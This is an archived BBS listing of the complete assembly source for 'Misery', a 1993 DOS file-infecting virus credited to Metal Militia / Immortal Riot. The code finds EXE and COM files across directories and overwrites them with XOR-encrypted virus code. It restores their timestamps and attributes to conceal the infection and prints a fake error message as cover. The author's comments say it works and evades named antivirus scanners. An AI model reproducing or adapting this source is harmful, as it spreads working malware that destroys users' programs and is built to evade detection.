home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / misery.asm < prev    next >
Assembly Source File  |  1993-07-29  |  13KB  |  252 lines

  1. ; VirusName: Misery
  2. ; Country  : Sweden
  3. ; Author   : Metal Militia / Immortal Riot
  4. ; Date     : 07-22-1993
  5. ;
  6. ; This is an mutation of Leprosy from 'PCM2'.
  7. ; Many thanks to the scratch coder of Leprosy
  8. ;
  9. ; We've tried this virus ourself, and it works just fine.
  10. ; It copies itself into other exe/com files on the
  11. ; current drive, and uses dot-dot for changing directory.
  12. ; Originally found in the United States Of America.
  13. ;
  14. ; There has been many mutations born from this virus,
  15. ; and here we give you another contribution.
  16.  
  17. ; McAfee Scan v105 can't find it, and
  18. ; S&S Toolkit 6.5 don't find it either.
  19. ; I haven't tried with scanners like Fprot/Tbscan,
  20. ; but they will probably report some virus structure.
  21. ;
  22. ; Best Regards : [Metal Militia]
  23. ;               [The Unforgiven]
  24.  
  25.                 title   "MiSERY / Immortal Riot'93"
  26.  
  27. cr              equ     13              ;  Carriage return ASCII code
  28. lf              equ     10              ;  Linefeed ASCII code
  29. tab             equ     9               ;  Tab ASCII code
  30. virus_size      equ     664             ;  Size of the virus file
  31. code_start      equ     100h            ;  Address right after PSP in memory
  32. dta             equ     80h             ;  Addr of default disk transfer area
  33. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  34. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  35. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  36. attribute       equ     21              ;  Offset in DTA of file attribute
  37.  
  38.  
  39.         code    segment 'code'          ;  Open code segment
  40.         assume  cs:code,ds:code         ;  One segment for both code & data
  41.                 org     code_start      ;  Start code image after PSP
  42.  
  43. ;---------------------------------------------------------------------
  44. ;  All executable code is contained in boundaries of procedure "main".
  45. ;  The following code, until the start of "virus_code", is the non-
  46. ;  encrypted CMT portion of the code to load up the real program.
  47. ;---------------------------------------------------------------------
  48. main    proc    near                    ;  Code execution begins here
  49.         call    encrypt_decrypt         ;  Decrypt the real virus code
  50.         jmp     random_mutation         ;  Put the virus into action
  51.  
  52. encrypt_val     db      00h             ;  Hold value to encrypt by here
  53.  
  54. ; ----------  Encrypt, save, and restore the virus code  -----------
  55. infect_file:
  56.         mov     bx,handle               ;  Get the handle
  57.         push    bx                      ;  Save it on the stack
  58.         call    encrypt_decrypt         ;  Encrypt most of the code
  59.         pop     bx                      ;  Get back the handle
  60.         mov     cx,virus_size           ;  Total number of bytes to write
  61.         mov     dx,code_start           ;  Buffer where code starts in memory
  62.         mov     ah,40h                  ;  DOS write-to-handle service
  63.         int     21h                     ;  Write the virus code into the file
  64.         call    encrypt_decrypt         ;  Restore the code as it was
  65.         ret                             ;  Go back to where you came from
  66.  
  67. ; ---------------  Encrypt or decrypt the virus code  ----------------
  68. encrypt_decrypt:
  69.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  70. xor_loop:                               ;  Start cycle here
  71.         mov     ah,[bx]                 ;  Get the current byte
  72.         xor     al,encrypt_val          ;  Engage/disengage XOR scheme on it
  73.         mov     [bx],ah                 ;  Put it back where we got it
  74.         inc     bx                      ;  Move BX ahead a byte
  75.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  76.         jle     xor_loop                ;  If not, do another cycle
  77.         ret                             ;  and go back where we came from
  78.  
  79. ;-----------------------------------------------------------------------
  80. ;   The rest of the code from here on remains encrypted until run-time,
  81. ;   using a fundamental XOR technique that changes via CMT.
  82. ;-----------------------------------------------------------------------
  83. virus_code:
  84.  
  85. ;----------------------------------------------------------------------------
  86. ;  All strings are kept here in the file, and automatically encrypted.
  87. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  88. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  89. ;  changes, even when the strings stay the same.
  90. ;----------------------------------------------------------------------------
  91. exe_filespec    db      "*.EXE",0 ; To infect EXE's
  92. com_filespec    db      "*.COM",0 ; To infect COM's
  93. newdir          db      "..",0 ; Move up one directory
  94. fake_msg        db      cr,lf,"Metal up your ass..$"
  95. virus_msg1      db      cr,lf,tab,"My friend of Misery...$"
  96. virus_msg2      db      cr,lf,tab,"Hearing only what you want to hear $"
  97. virus_msg3      db      cr,lf,tab,"and knowing only what you've heard$"
  98. virus_msg4      db      cr,lf,tab,"you     you're smothered in tragedy$"
  99. virus_msg5 db cr,lf,tab,"you're out to save the world$"
  100. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  101. files_found     db      ?
  102. files_infected  db      ?
  103. orig_time       dw      ?
  104. orig_date       dw      ?
  105. orig_attr       dw      ?
  106. handle          dw      ?
  107. success         db      ?
  108.  
  109. random_mutation:                        ; First decide if virus is to mutate
  110.         mov     ah,2ch                  ; Set up DOS function to get time
  111.         int     21h
  112.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  113.         je      install_val             ; If so, install whatever you get.
  114.         cmp     dh,15                   ; Is it less than 16 seconds?
  115.         jg      find_extension          ; If not, don't mutate this time
  116. install_val:
  117.         cmp     dl,0                    ; Will we be encrypting using zero?
  118.         je      random_mutation         ; If so, get a new value.
  119.         mov     encrypt_val,dl          ; Otherwise, save the new value
  120. find_extension:                         ; Locate file w/ valid extension
  121.         mov     files_found,0           ; Count infected files found
  122.         mov     files_infected,4        ; BX counts file infected so far
  123.         mov     success,0
  124. find_exe:
  125.         mov     cx,00100111b            ; Look for all flat file attributes
  126.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  127.         mov     ah,4eh                  ; Call DOS find first service
  128.         int     21h
  129.         cmp     ax,12h                  ; Are no files found?
  130.         je      find_com                ; If not, nothing more to do
  131.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  132. find_com:
  133.         mov     cx,00100111b            ; Look for all flat file attributes
  134.         mov     dx,offset com_filespec  ; Check for .COM extension now
  135.         mov     ah,4eh                  ; Call DOS find first service
  136.         int     21h
  137.         cmp     ax,12h                  ; Are no files found?
  138.         je      chdir                   ; If not, step back a directory
  139.         call    find_healthy            ; Otherwise, try to find healthy .COM
  140. chdir:                                  ; Routine to step back one level
  141.         mov     dx,offset newdir        ; Load DX with address of pathname
  142.         mov     ah,3bh                  ; Change directory DOS service
  143.         int     21h
  144.         dec     files_infected          ; This counts as infecting a file
  145.         jnz     find_exe                ; If we're still rolling, find another
  146.         jmp     exit_virus              ; Otherwise let's pack it up
  147. find_healthy:
  148.         mov     bx,dta                  ; Point BX to address of DTA
  149.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  150.         mov     orig_attr,ax            ; Save it
  151.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  152.         mov     orig_time,ax            ; Save it
  153.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  154.         mov     orig_date,ax            ; Save it
  155.         mov     dx,dta+filename         ; Get the filename to change attribute
  156.         mov     cx,0                    ; Clear all attribute bytes
  157.         mov     al,1                    ; Set attribute sub-function
  158.         mov     ah,43h                  ; Call DOS service to do it
  159.         int     21h
  160.         mov     al,2                    ; Set up to open handle for read/write
  161.         mov     ah,3dh                  ; Open file handle DOS service
  162.         int     21h
  163.         mov     handle,ax               ; Save the file handle
  164.         mov     bx,ax                   ; Transfer the handle to BX for read
  165.         mov     cx,20                   ; Read in the top 20 bytes of file
  166.         mov     dx,offset compare_buf   ; Use the small buffer up top
  167.         mov     ah,3fh                  ; DOS read-from-handle service
  168.         int     21h
  169.         mov     bx,offset compare_buf   ; Adjust the encryption value
  170.         mov     ah,encrypt_val          ; for accurate comparison
  171.         mov     [bx+6],ah
  172.         mov     si,code_start           ; One array to compare is this file
  173.         mov     di,offset compare_buf   ; The other array is the buffer
  174.         mov     ax,ds                   ; Transfer the DS register...
  175.         mov     es,ax                   ; ...to the ES register
  176.         cld
  177.         repe    cmpsb                   ; Compare the buffer to the virus
  178.         jne     healthy                 ; If different, the file is healthy!
  179.         call    close_file              ; Close it up otherwise
  180.         inc     files_found             ; Chalk up another fucked up file
  181. continue_search:
  182.         mov     ah,4fh                  ; Find next DOS function
  183.         int     21h                     ; Try to find another same type file
  184.         cmp     ax,12h                  ; Are there any more files?
  185.         je      no_more_found           ; If not, get outta here
  186.         jmp     find_healthy            ; If so, try the process on this one!
  187. no_more_found:
  188.         ret                             ; Go back to where we came from
  189. healthy:
  190.         mov     bx,handle               ; Get the file handle
  191.         mov     ah,3eh                  ; Close it for now
  192.         int     21h
  193.         mov     ah,3dh                  ; Open it again, to reset it
  194.         mov     dx,dta+filename
  195.         mov     al,2
  196.         int     21h
  197.         mov     handle,ax               ; Save the handle again
  198.         call    infect_file             ; Infect the healthy file
  199.         call    close_file              ; Close down this operation
  200.         inc     success                 ; Indicate we did something this time
  201.         dec     files_infected          ; Scratch off another file on agenda
  202.         jz      exit_virus              ; If we're through, terminate
  203.         jmp     continue_search         ; Otherwise, try another
  204.         ret
  205. close_file:
  206.         mov     bx,handle               ; Get the file handle off the stack
  207.         mov     cx,orig_time            ; Get the date stamp
  208.         mov     dx,orig_date            ; Get the time stamp
  209.         mov     al,1                    ; Set file date/time sub-service
  210.         mov     ah,57h                  ; Get/Set file date and time service
  211.         int     21h                     ; Call DOS
  212.         mov     bx,handle
  213.         mov     ah,3eh                  ; Close handle DOS service
  214.         int     21h
  215.         mov     cx,orig_attr            ; Get the file's original attribute
  216.         mov     al,1                    ; Instruct DOS to put it back there
  217.         mov     dx,dta+filename         ; Feed it the filename
  218.         mov     ah,43h                  ; Call DOS
  219.         int     21h
  220.         ret
  221. exit_virus:
  222.         cmp     files_found,15          ; Are at least 15 files infected?
  223.         jl      print_fake              ; If not, keep a low profile
  224.         cmp     success,0               ; Did we infect anything?
  225.         jg      print_fake              ; If so, cover it up
  226.         mov     ah,09h                  ; Use DOS print string service
  227.         mov     dx,offset virus_msg1    ; Load the address of the first line
  228.         int     21h                     ; Print it
  229.         mov     dx,offset virus_msg2    ; Load the second line
  230.         int     21h                     ; (etc)
  231.         mov     dx,offset virus_msg3
  232.         int     21h
  233.         mov     dx,offset virus_msg4
  234.  int 21h
  235.  mov dx,offset virus_msg5
  236.         int     21h
  237.         jmp     terminate
  238. print_fake:
  239.         mov     ah,09h                  ; Use DOS to print fake error message
  240.         mov     dx,offset fake_msg
  241.         int     21h
  242. terminate:
  243.         mov     ah,4ch                  ; DOS terminate process function
  244.         int     21h                     ; Call DOS to get out of this program
  245.  
  246. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  247.  
  248. main    endp
  249. code    ends
  250.         end     main
  251.  
  252.